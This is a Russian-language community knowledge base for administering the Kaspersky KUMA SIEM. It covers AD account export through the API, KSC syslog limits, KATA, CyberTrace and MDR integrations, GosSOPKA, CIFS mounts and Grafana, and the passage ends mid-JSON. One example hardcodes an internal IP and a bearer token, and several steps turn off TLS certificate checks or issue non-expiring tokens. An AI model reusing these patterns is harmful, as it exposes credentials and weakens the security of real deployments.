`/opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --quiet --eval "db.accounts.findOne({"archived":false})"`

#### Шаг 2.

Выбираете пользователя в KUMA, даете ему права на запрос POST /dictionaries/update, генерируете токен и записываете себе куда-нибудь (например в блокнот).

#### Шаг 3.   


На коре выполняете скрипт (нужно поставить утилиту jq):

```bash
echo 'login,mail' > /tmp/accounts.csv; /opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --eval 'DBQuery.shellBatchSize=<SIZE>; db.accounts.find({"archived":false},{"displayName":1, "sAMAccountName":1, "_id":0})' | grep -E '^{' | jq '.sAMAccountName,.displayName'| sed 'N;s/\n/,/' | sed 's/\"//g' >> /tmp/accounts.csv; curl -k --request POST 'https://<KUMA_IP>:7223/api/v1/dictionaries/update?dictionaryID=<DICTIONARY_ID>' --header 'Content-Type: multipart/form-data' --header 'Authorization: Bearer <TOKEN>' --form 'file=@"/tmp/accounts.csv"'; rm -rf /tmp/accounts.csv
```

- где **&lt;SIZE&gt;** - число записей в выводе, нужно ставить значение кол-во пользователей\*1.1  
     /opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --quiet --eval "db.accounts.find({"archived":false},{"displayName":1, "sAMAccountName":1, "\_id":0}).count()" полученное число умножить на 1.1 Или сразу посчитать с помощью: perl -w -e "use POSIX; print ceil($(/opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --quiet --eval "db.accounts.find({"archived":false},{"displayName":1, "sAMAccountName":1, "\_id":0}).count()")\*1.1), qq{\\n}"
- **&lt;KUMA\_IP&gt;** - ip-адрес ядра KUMA
- **&lt;DICTIONARY\_ID&gt;** - id словаря, можно скопировать из строки браузера, если зайти в словарь
- **&lt;TOKEN&gt;** - токен для доступа к API, скопированный на Шаге 2.

После выполнения скрипта, в словарь запишутся логины и их электронная почта, импортированные из AD.

Более продвинутый заполненный запрос c автоподсчетом **&lt;SIZE&gt;**:

```bash
SIZE=$(perl -w -e "use POSIX; print ceil($(/opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --quiet --eval "db.accounts.find({"archived":false},{"sAMAccountName":1, "mail":1, "_id":0}).count()")*1.1), qq{\n}"); echo 'login,mail' > /tmp/accounts.csv; /opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --eval 'DBQuery.shellBatchSize='$SIZE'; db.accounts.find({"archived":false},{"sAMAccountName":1, "mail":1, "_id":0})' | grep -E '^{' | jq '.sAMAccountName,.mail'| sed 'N;s/\n/,/' | sed 's/\"//g' >> /tmp/accounts.csv; curl -k --request POST 'https://10.68.85.125:7223/api/v1/dictionaries/update?dictionaryID=72323930-c4fb-43c7-9360-5f8d5d929bbb' --header 'Content-Type: multipart/form-data' --header 'Authorization: Bearer 29ed4e42e25f7877c5ceb435736f860f' --form 'file=@"/tmp/accounts.csv"'; rm -rf /tmp/accounts.csv
```

### Инструкция для KUMA от версии 4.0

<p class="callout info">Воспользуйтесь скриптом из [https://github.com/KUMA-Community/KUMA-sqlite-to-table](https://github.com/KUMA-Community/KUMA-sqlite-to-table)</p>

# KSC: увеличение лимита экспорта событий в SIEM (Syslog/CEF)

<p class="callout info">Официальная документация по настройке автоматического экспорта событий в SIEM-системы: [https://support.kaspersky.ru/ksc/14.2/151333](https://support.kaspersky.ru/ksc/14.2/151333)</p>

<span style="font-size:11pt;font-family:Calibri, sans-serif;">По умолчанию </span><span lang="en-us" style="font-size:11pt;font-family:Calibri, sans-serif;">KSC </span><span style="font-size:11pt;font-family:Calibri, sans-serif;">отдает события по </span><span lang="en-us" style="font-size:11pt;font-family:Calibri, sans-serif;">Syslog </span><span style="font-size:11pt;font-family:Calibri, sans-serif;">не более 100 штук каждые 30 секунд. При большом количестве защищаемых устройств и/или передаваемых событий может возникнуть ситуация, когда события с KSC будут не успевать доставляться в SIEM, и будет копиться очередь событий на отправку. </span>

Изменить значение по экспорту событий, можно в реестре в системе с установленным Сервером администрирования.

Раздел<span lang="en-us">: </span>

```vb.net
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\KasperskyLab\Components\34\1093\1.0.0.0\ServerFlags
```

Флаги:

- KLSPLG\_READ\_MAX\_COUNT\_SF - количество событий, обрабатываемых в каждой итерации. Значение по умолчанию - 100 (в десятичной форме)
- KLSPLG\_READ\_DB\_PERIOD\_SF - скорость итерации в миллисекундах. По умолчанию 30000 (в десятичной форме).

<span style="font-size:11pt;font-family:Calibri, sans-serif;">Подходить к изменению значений по умолчанию нужно с осторожностью. Изменения скорости могут повлиять на общую производительность системы. Рекомендуется постепенно увеличивать значения, внимательно следя как за KSC, так и за его СУБД.</span>

# Создание TAA-алертов в KUMA с KATA

### Введение

При отправке событий из KATA в KUMA есть известная проблема: KATA отправляет сообщение о TAA-сработке только при первой сработке на хосте, а само Syslog сообщение не содержит достаточной информации. События из телеметрии KEDR в свою очередь не содержат идентификатора алерта в KATA в связи с чем отсутствует возможность создания ссылки на карточку алерта в KATA.

В этой статье представлен вариант решения этой проблемы, который позволяет создавать алерт в KUMA идентичный TAA-алерту в KATA, со всеми связанными событиями телеметрии.

---

### Требования

Для работы метода требуется установленная KUMA версии 2.1 или выше, а также KATA версии 5.0 или выше.

На KUMA должна быть настроены коллекторы для приема Syslog сообщений от [KATA](https://kb.kuma-community.ru/books/podkliucenie-istocnikov/page/kata) **И** телеметрии от [KEDR](https://kb.kuma-community.ru/books/podkliucenie-istocnikov/page/kedr-51-telemetriia-edr-po-api). Информацию по настройке данных источников можно найти в соответствующих статьях (ссылки приведены для последних версий).

Оба коллектора должны отправлять события в коррелятор.

---

### Реализация

1\. Загрузить пакет ресурсов по ссылке: [https://github.com/KUMA-Community/kuma\_taa\_alert](https://github.com/KUMA-Community/kuma_taa_alert)

2\. Импортировать все ресурсы из пакета в KUMA.

3\. Перейти в Коррелятор, перейти на шаг Корреляция и привязать правила корреляции D007 и D008

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-05/scaled-1680-/p42image.png)

4\. Перейти на шаг Проверка параметров и обновить параметры сервиса коррелятора

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-05/scaled-1680-/pp4image.png)

5\. Перейти в веб-интферфейсе в Параметры -&gt; Алерты -&gt; Сегментация и нажать Добавить параметры для нового тенанта (если в KUMA не настроены никакие правила сегментации), либо нажать на соответствующий тенант в списке (если в KUMA уже настроены какие-либо правила сегментации).

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-05/scaled-1680-/pNPimage.png)

6\. Создайте связь правила корреляции и правила сегментации как на рисунке ниже:

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-05/scaled-1680-/Aw3image.png)

7\. Сохраните все внесенные изменения.

На этом настройка завершена.

---

### Результат

В результате проделанных манипуляций в KUMA на каждую TAA сработку будет возводиться алерт, в который согласно правилу сегментации будут добавляться все события телеметрии связанные с данной сработкой. Сам алерт будет содержать ID алерта KATA, ссылку на алерт KATA (для этого необходимо на коллекторе для сбора Syslog с KATA добавить обогащение **\[OOTB\] KATA alert**), а также связанные события телеметрии от KEDR.

Ниже представлен скриншот алерта в KUMA

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-05/scaled-1680-/z9pimage.png)

А также соответствующий алерт в KATA

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-05/scaled-1680-/JRMimage.png)

И связанные с ним события телеметрии

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-05/scaled-1680-/VLJimage.png)

---

# Ретроспективная проверка IoC с помощью KUMA и CyberTrace

### Введение

<p class="callout warning">Описанный ниже сценарий применим для версии **CyberTrace 4.4** и выше. Ресурсы, поставляемые для данного сценария в **KUMA** применимы к версии **3.2** и выше, но могут быть сделаны аналогичные для версий **2.1+**.</p>

В данном сценарии рассматривается автоматизация ретроспективной проверки по IoC с использованием интеграции KUMA и CyberTrace.

Сценарий позволяет:

1\. По расписанию выполнять ретроспективную проверку на стороне CyberTrace

2\. Получать событие в KUMA по результатам ретроспективной проверки

3\. Создавать коррреляционное событие и алерт на основании такого события, а также добавлять в корреляционное событие кликабельную ссылку на исходное событие, на которое сработал ретроскан.

---

### Настройка CyberTrace

Подключитесь к CyberTrace от имени пользователя с правами администратора.

#### Настройка получения и отправки событий

Перейдите в раздел **Settings** - **General.**

В графе **Incoming events** выберите **IP address and port**, в поле **IP address** укажие адрес CyberTrace, на котором он будет принимать индикаторы от KUMA (запись **0.0.0.0** означает, что CyberTrace будет принимать соединения на всех адресах), а в поле **Port** задайте порт, на котором CyberTrace будет принимать индикаторы.

В графе **Detection alerts** в поле **IP address** укажите адрес коллектора KUMA, а в графе **Port** - порт коллектора KUMA.

По завершении настройки нажмите кнопку **Save** внизу экрана.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-01/scaled-1680-/595image.png)

---

#### Настройка ретроспективной проверки

Перейдите в раздел **Settings - Restroscan**

Включите ретроскан ползунком **Enabled**. На вкладка **General settings** задайте необходимые настройки регулярности ретроспективной проверки и другие параметры.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-01/scaled-1680-/LWEimage.png)

Находясь в том же разделе, перейдите на вкладку **Feeds** и включите необходимые фиды для ретроспективной проверки.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-01/scaled-1680-/Kinimage.png)

Находясь в том же разделе, перейдите на вкладку **Regular expressions** и выберите **RE\_CONTEXT** (обязательно в данном сценарии), а также те индикаторы, по которым планируется ретроспективная проверка.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-01/scaled-1680-/TA2image.png)

По окончании настройки нажмите кнопку **Save**.

---

#### Настройка формата событий

Перейдите в раздел **Settings - Detection alerts**

Заполните **Alert format**, как показано в примере.

```
Category=%Category%|MatchedIndicator=%MatchedIndicator%%RecordContext%|KUMA_event_id=%RE_CONTEXT%|KUMA_event_date=%EventReceivedDate%|outcome=%Retroscan%
```

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-01/scaled-1680-/t9Eimage.png)

Выберите вверху **Context** и заполните **Actionable fields**, как в примере ниже.

```
"%ParamName%":"%ParamValue%"
```

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2025-01/scaled-1680-/GTAimage.png)

Пролистайте в самый низ страницы и нажмите кнопку **Save**.

Настройки для **Service alerts** можете оставить по умолчанию или изменить по своему усмотрению. В данном сценарии рассматривается и требуется взаимодействие только с **Detection alerts**.

---

### Настройка KUMA

1\. Скачайте набор ресурсов (нормализатор и правило корреляции) по [**ссылке**](https://github.com/koalapower/ioc_retroscan) и импортируйте в KUMA.

#### Настройка обогащения

<p class="callout warning">**Важно!** Обогащение должно выполняться именно методом **cybertrace**. Метод **cybertarce-http** не применим в данном случае, т.к. в CyberTrace до 5.0 версии включительно обогащение по API не доступно для ретроспективной проверки и отображения в детектах.</p>

1\. Настройте обогащение на коллекторах, где это требуется по инструкции из соответствующего [**раздела**](https://kb.kuma-community.ru/books/integracii/page/integraciia-cybertrace-s-kuma#bkmrk-%D0%9E%D0%B1%D0%BE%D0%B3%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D0%B5-cybertrac-1).

---

#### Настройка коллектора

1\. На шаге **Транспорт** укажите тип и порт в соответствии с настройками на стороне **CyberTrace**.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-12/scaled-1680-/WlIimage.png)

2\. На шаге **Парсинг** событий выберите нормализатор **\[DEMO\] CyberTrace**.

3\. На шаге **Маршрутизация** проверьте, что в набор ресурсов коллектора добавлены следующие точки назначения:

**- Хранилище**. Для отправки обработанных событий в хранилище.  
**- Коррелятор**. Для отправки обработанных событий в коррелятор.  
Если точки назначения **Хранилище** и **Коррелятор** не добавлены, создайте их.

4\. На шаге **Проверка параметров** нажмите **Сохранить и создать сервис**.

5\. Скопируйте появившуюся команду для установки коллектора KUMA.

---

<span style="color:rgb(34,34,34);font-size:1.666em;font-weight:400;">Настройка корреляции</span>

1\. Откройте на редактирование правило корреляции **D016;CyberTrace;IoC Matched By Retroscan** (или **D016;CyberTrace;Обнаружение IoC в ходе ретроспективной проверки**)

2\. Перейдите в Селекторы - Локальные переменные

3\. Отредактируйте значение переменной **core** подставив свой FQDN или IP-адрес ядра

<p class="callout warning">Важно! FQDN для данного сценария не должен превышать 18 символов! В случае более длинного FQDN следует использовать IP-адрес.</p>

<details id="bkmrk-%D0%9F%D0%BE%D1%8F%D1%81%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%B8"><summary>Пояснение ограничения</summary>

Ссылка на событие KUMA (переменная **url**), которая будет помещена в корреляционное событие, находится в поле **DeviceExternalID**. Максимальная длина данных в этом поле **255** символов. Пустой запрос без FQDN содержит **237** символов, что дает возможность указать FQDN меньше или равным **18** символам.

При необходимости, можно изменить мапинг ссылки на событие на другое поле, например, Message. Но в таком случае ссылка будет "не кликабельная" и нужно будет копировать ее из события и вставлять в строку браузера.

</details>![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-12/scaled-1680-/gWKimage.png)

4\. Сохраните правило корреляции.

5\. Привяжите к коррелятору правило корреляции **D016;CyberTrace;IoC Matched By Retroscan**

6\. Обновите параметры сервиса коррелятора.

---

### Результат

В результате по обнаружению в результате ретроспективного скнаирования в KUMA будет отправлено соответствующее обнаружение.

На основании данного обнаружения с помощью правила корреляции будет возведен алерт, в котором в поле **DeviceExternalID** будет доступна ссылка на событие KUMA, в котором было обнаружено совпадение.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-12/scaled-1680-/xoSimage.png)

При нажатии на ссылку откроется окно с событиями с подготовленным поиском и временным окном. Для отображения события требуется только нажать на кнопку Выполнить запрос. В результате отобразится событие KUMA, в котором с помощью ретроскана CyberTrace было найдено совпадение по индикатору.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-12/scaled-1680-/Z2Yimage.png)

# Интеграция с Kaspersky MDR

<p class="callout info">Информация, приведённая на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

# Интеграция с Kaspersky MDR

## Описание интеграции

Интеграция с Kaspersky Managed Detection and Response позволяет автоматически импортировать инциденты из консоли MDR в KUMA. Скрипт периодически опрашивает API MDR, получает новые инциденты и создаёт соответствующие инциденты в KUMA через API.

---

## Предварительные требования

### 1. Сетевой доступ

На пограничном межсетевом экране создайте правило, разрешающее доступ к **mdr.kaspersky.com** по порту **TCP/443**.

### 2. Настройка пользователя и токена в KUMA

В KUMA добавьте пользователя с ролью **Младший аналитик**, сгенерируйте токен для взаимодействия по API и разрешите доступ к следующим методам API:

- `POST /events`
- `POST /incidents/create`
- `POST /incidents/comment`
- `POST /incidents/close`

### 3. Генерация токена в консоли MDR

1. Перейдите в **Параметры → API**.
2. Нажмите **Добавить** и укажите **Имя соединения**.


<p class="callout info">Это имя будет отображаться как имя пользователя при создании инцидентов, комментариев и вложений, поскольку токен доступа не привязан к конкретному пользователю.</p>
  
4. В поле **Роль пользователя** выберите роль **Администратор MDR**.
5. В поле **Тенант** выберите тенант, инциденты которого необходимо импортировать в KUMA.  

<p class="callout info">Если для инцидентов, создаваемых в консоли MDR, в поле Тенант отсутствует значение — укажите в поле Тенант значение «Корень без тенанта», иначе скрипт не обнаружит эти инциденты.</p>

6. Нажмите **Создать**.

В результате вы получите:

- **JWT Token** (он же `refresh_token`) — это первичный токен со сроком действия 24 часа. Данный токен требуется активировать, чтобы получить новую пару `refresh_token` / `access_token`.
- **ClientID** — идентификатор клиента, который необходимо указывать при каждом запросе к API MDR.

Сохраните оба значения — они потребуются на этапе настройки.

[![](https://kb.kuma-community.ru/uploads/images/gallery/2026-03/scaled-1680-/image-1774360741536.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-03/image-1774360741536.png)
<p align="center">
  <img src="https://kb.kuma-community.ru/uploads/images/gallery/2026-03/image-1774361228938.png" width="300">
</p>

### 4. Загрузка репозитория

[Скачайте](https://github.com/KUMA-Community/MDR-integrations) содержимое репозитория MDR-integrations. В качестве альтернативы можно:

- Загрузить только папку [**mdr\_integration**](https://github.com/KUMA-Community/MDR-integrations/tree/main/mdr_integration) через сервис <https://download-directory.github.io/>
- Клонировать репозиторий напрямую на сервер KUMA:

```bash
git clone https://github.com/KUMA-Community/MDR-integrations.git
```

### 5. Получение цепочки сертификатов

Загрузите актуальную цепочку сертификатов для **mdr.kaspersky.com** в формате PEM. Для этого:

1. Откройте <https://mdr.kaspersky.com> в браузере.
2. Просмотрите информацию о сертификате и экспортируйте все сертификаты цепочки (как правило, 2–3 файла).
<p align="center">
  <img src="https://kb.kuma-community.ru/uploads/images/gallery/2026-03/image-1774361549088.png" width="300">
</p>
4. Объедините их в один файл командой:

```bash
cat "DigiCert Global G2 TLS RSA SHA256 2020 CA1.crt" "DigiCert Global Root G2.crt" "_.mdr.kaspersky.crt" > mdr.pem
```

Полученный файл `mdr.pem` потребуется на этапе настройки.

---

## Настройка

### Шаг 1. Размещение файлов на сервере

Скопируйте архив **MDR-integrations-main.zip** на сервер (при распределённой инсталляции — на сервер Core) и распакуйте его в папку `/opt`:

```bash
unzip MDR-integrations-main.zip -d /opt/
```

Уберите лишний уровень вложенности:

```bash
mv /opt/MDR-integrations-main/mdr_integration /opt/
rm -rf /opt/MDR-integrations-main
```

### Шаг 2. Создание файла конфигурации

Перейдите в папку с конфигурацией и создайте файл `config.yml` из шаблона:

```bash
cd /opt/mdr_integration/conf
cp sample_config.yml config.yml
```

Отредактируйте файл `config.yml`:

- В секции **General settings** укажите `client_id` (значение **ClientID** из консоли MDR).
- В секции **Modules settings → kuma** укажите:
  - `api_url` — FQDN или IP-адрес с портом API KUMA (по умолчанию порт `7223`).
  - `api_token` — токен, сгенерированный при создании учётной записи пользователя KUMA.
  - `tenant_id` — идентификатор тенанта KUMA, в котором будут создаваться инциденты.

<p class="callout info">**tenant_id можно получить из события аудита KUMA.</p>
<p align="center">
  <img src="https://kb.kuma-community.ru/uploads/images/gallery/2026-03/image-1774362388243.png" width="600">
</p>

### Шаг 3. Настройка токенов

Скрипт использует два файла токенов:

- **`.refresh_token`** — заполняется вручную один раз. Это **JWT Token**, полученный в консоли MDR на этапе предварительных требований.
- **`.access_token`** — заполнять вручную **не нужно**. При запуске скрипт автоматически обменивает `refresh_token` на пару `access_token` + обновлённый `refresh_token` через MDR API и записывает их в файлы. В дальнейшем фоновый процесс `TokenUpdater` проверяет и обновляет токены каждые 10 минут.

Создайте оба файла (`.access_token` должен быть пустым):

```bash
touch /opt/mdr_integration/conf/.refresh_token
touch /opt/mdr_integration/conf/.access_token
```

Запишите JWT Token из консоли MDR в файл `.refresh_token`:

```bash
echo -n 'ВСТАВЬТЕ_ТОКЕН_ЗДЕСЬ' > /opt/mdr_integration/conf/.refresh_token
```

> **Важно:** В конце файла не должно быть символа новой строки (`\n`) — иначе аутентификация завершится ошибкой. Флаг `-n` в команде `echo` предотвращает его добавление. Если вы вставили токен вручную, проверьте и при необходимости удалите символ новой строки:
>
> ```bash
> # Проверяем наличие символа новой строки (результат "1" означает, что он есть)
> wc -l /opt/mdr_integration/conf/.refresh_token
>
> # Если вывод "1 .refresh_token" — удаляем символ
> perl -p -i -e 'chomp if eof' /opt/mdr_integration/conf/.refresh_token
>
> # Проверяем повторно (должен быть вывод "0 .refresh_token")
> wc -l /opt/mdr_integration/conf/.refresh_token
> ```

### Шаг 4. Указание начальной точки сбора инцидентов

В файле `.last_check` укажите момент времени, начиная с которого нужно собирать инциденты. Значение задаётся в миллисекундах (Unix timestamp × 1000, 13 цифр).

Для получения нужного значения используйте команду:

```bash
# Пример: получить timestamp для 1 января 2024 00:00:00
date -d "2024-01-01 00:00:00" +%s000
```

Запишите полученное значение в файл:

```bash
echo -n '1704060000000' > /opt/mdr_integration/conf/.last_check
```

<p class="callout info">Для тестирования укажите время, незадолго до появления последнего инцидента в MDR.</p>

### Шаг 5. Обновление сертификата

Замените файл сертификата по умолчанию на актуальный, подготовленный в разделе **Предварительные требования**:

```bash
cp /path/to/mdr.pem /opt/mdr_integration/conf/mdr.pem
```
### Шаг 6. Создание папки data

Создайте папку **data**:
```bash
mkdir /opt/mdr_integration/data
```

В папку **data** в отдельный JSON-файл записывается каждое обновление (новый инцидент, комментарий, вложение) на MDR-портале. 

### Шаг 7. Проверка работоспособности

Перейдите в папку со скриптом и запустите его:

```bash
cd /opt/mdr_integration
python3 ./main.py
```

Если при запуске скрипта в консоли отсутствую ошибки (кроме предупреждений о невалидном сертификате), значит интеграция работает корректно. Лог работы скрипта записывается в:

```
/opt/mdr_integration/log/app.log
```

Убедитесь, что инциденты из консоли MDR, созданные начиная с момента, указанного в `.last_check`, появились в KUMA.

[![](https://kb.kuma-community.ru/uploads/images/gallery/2026-03/scaled-1680-/image-1774367517939.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-03/image-1774367517939.png)

[![](https://kb.kuma-community.ru/uploads/images/gallery/2026-03/scaled-1680-/image-1774367489591.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-03/image-1774367489591.png)

После проверки остановите скрипт (`Ctrl+C`).

### Шаг 7. Запуск в фоновом режиме

Запустите скрипт в фоне:

```bash
nohup python3 /opt/mdr_integration/main.py &
```

### Шаг 8. Автозапуск после перезагрузки

Настройте автоматический запуск скрипта через cron:

```bash
sudo crontab -e
```

Добавьте строку:

```
@reboot sleep 300 && python3 /opt/mdr_integration/main.py &
```

<p class="callout info">Задержка sleep 300 (5 минут) необходима, чтобы сервис kuma-core успел запуститься до начала работы скрипта.</p>

# Интеграция с ГосСОПКА

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout info">Официальная документация по данному разделу приведена в Онлайн-справке на продукт: [https://support.kaspersky.com/KUMA/3.2/ru-RU/221777.htm](https://support.kaspersky.com/KUMA/3.2/ru-RU/221777.htm) </p>

### Настройка интерации

Для возможности отправки инцидентов в ГосСОПКА должна быть выполнена настройка, в разделе **Параметры - НКЦКИ** нужно указать параметры подключения:

- Укажите URL, по которому доступен НКЦКИ.
- Токен, который был выдан Заказчику для подключения к НКЦКИ.

Далее укажите сферу деятельности, местоположение и название компании.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/Bvvimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/Bvvimage.png)

Значение токена сохраняется в Секркте в KUMA:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/U8Dimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/U8Dimage.png)

### Работа с инцидентом

После настройки взаимодействие с НКЦКИ и работа с инцидентом выполняется в разделе **Инциденты**. Для нового инцидента должны быть заполнены минимально **необходимые поля**:

- категория инцидента;
- тип инцидента;
- описание инцидента.

Описание взаимодействия с НКЦКИ в онлайн-справке: [https://support.kaspersky.com/KUMA/2.1/ru-RU/221855.htm](https://support.kaspersky.com/KUMA/2.1/ru-RU/221855.htm)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/FmWimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/FmWimage.png)

После нажатия кнопки **Экспорт** открывается вкладка для заполнения карточки инцидента в формате, который требует НКЦКИ. При необходимости может быть выбран чек-бокс «Затронутая система имеет подключение к Интернету», это подразумевает заполнение дополнительных сведений на вкладке Технические данные.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/K2aimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/K2aimage.png)

Вкладки Технические данные и Дополнительно не обязательно заполнять для запуска экспорта, но информация будет запрошена со стороны ГосСОПКА позже.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/PTiimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/PTiimage.png)

Вся информация отображается в ЛК Заказчика. При этом в связи с особенностями работы портала перейти из интерфейса KUMA сразу в нужный инцидент в ГосСОПКА нельзя, придется искать в списке всех инцидентов.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/obiimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/obiimage.png)

В интерфейсе KUMA можно отслеживать статус инцидента и изменения содержимого (если изменения были выполнены на портале, а не из KUMA).

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/Lq0image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/Lq0image.png)

При получении обратной связи статус инцидента изменяется, при необходимости инцидент можно дополнить данными  
Есть чат с НКЦКИ (не онлайн, примерно раз в 10 минут – особенности на стороне НКЦКИ).

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/7Qsimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/7Qsimage.png)

Есть возможность оповещений по почте о необходимости доработки инцидента.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/iC5image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/iC5image.png)

# Монтирование папки в KUMA

<p class="callout info">С версии KUMA 3.2 агент для Windows имеет возможность читать логи из файлов на ОС Windows. Таким образом, для некоторых случаев целесообразно использовать агентов для чтения логов локально без монтирования директорий. Для сетевой шары используйте unc-путь вида: `//server_ip_name/share`</p>

Для чтения файла логов коллектором KUMA необходимо примонтировать папку содержащую логи, например, DHCP сервера на сервер коллектора KUMA.

Для начала необходимо установить утилиту **cifs**, если она еще не установлена.

```
yum install -y cifs-utils
```

Далее необходимо создать файл с учетными данными пользователя для доступа к общей папке **/root/.dhcp-secret** со следующим содержимым:

```bash
username=<имя пользователя с правами на чтение папки>
password=<пароль пользователя>
domain=<домен, в случае доменного пользователя>
```

Далее нужно создать папку на сервере коллектора KUMA, куда будет примонтирована папка с логами DNS сервера.

```bash
mkdir /mnt/dhcp
```

Далее в конец файла /etc/fstab необходимо добавить строку

```bash
\\<путь к общей папке сервера> <путь монтирования> cifs credentials=<файл с учетными данными>,cache=none 0 0

Пример:
\\dc-01.sales.lab\dhcp /mnt/dhcp cifs credentials=/root/.dhcp-secret,cache=none 0 0
```

Далее необходимо примонтировать общую папку командой:

```bash
mount -a
```

Для проверки успешности монтирования можно выполнить следующую команду:

```bash
ls /mnt/dhcp
```

В выводе консоли должны присутствовать файлы логов DHCP сервера с правами на чтение для всех пользователей

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/yr9image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/yr9image.png)

Далее создание файлового коллектора и создание службы в KUMA аналогии с [**этой** ](https://kb.kuma-community.ru/link/26#bkmrk-%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5-%D0%BA%D0%BE%D0%BB%D0%BB%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%B0-)статьей.

# Интеграция Grafana c событиями в KUMA

<p class="callout info">Интеграция является не официальной (не поддерживается)</p>

### Подключение по API KUMA

Для возможности обращения в KUMA предварительно необходимо создать пользователя с необходимыми правами (на этом же этапе задаём необходимую роль\\тенанты), переходим в KUMA – Access – Выбираем доменного пользователя, либо создаём локального.

Выбрать пользователя и переходим к Using KUMA via API, нажимаем Generate token и задаём время действия токена (в примере выбираем No expiration date).

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/wN4image.png)

Выбрать права для токена, затем нажать Generate:

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/1hrimage.png)

Система выдаст токен которым мы воспользуемся при создании Data source в Grafana.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/bQNimage.png)

Переходим в Grafana. Устанавливаем плагин Infinity:

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/iMkimage.png)

Переходим в Data sources и создаём новый. Ищем Infinity и создаём в формате как указано на скриншоте. Задаём ключевые параметры – адрес, токен (созданный на этапе 1).

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/RgOimage.png)

В Network выбираем "Skip TLS Verify":

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/q9qimage.png)

Нажимаем Save &amp; test, в случае успешного подключения получаем уведомление.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/sFLimage.png)

#### Дашборды и визуализация

Рассмотрим два примера дашбордов. 1-й с задаваемым уникальным запросом, 2-й со статичным запросом для построения дашбордов и вывода статистики.

Создаём дашборд Home – Dashboard – New – New Dashboard. И переходим в Dashboard Settings.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/aVOimage.png)

Далее Settings – Variables, мы задаём глобальную переменную на уровне дашборда.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/kgvimage.png)

И задаём следующие параметры:

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/Xfuimage.png)

Нажимаем "Apply". Окно для запроса появится в верхнем левом углу с дефолтным значением (его можно не задавать).

#### Делаем базовый шаблон

Создаём панель и переходим ниже в раздел Query, выбираем Data source – Infinity. далее URL options и задаём Body Type (как на скриншоте):

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/EXAimage.png)

Берём пример с API и модифицируем под нашу задачу:

```json
{
  "period": {
    "from": "2025-09-06T00:00:00Z",
    "to": "2025-09-06T00:10:00Z"
  },
  "emptyFields": true,
  "rawTimestamps": true,
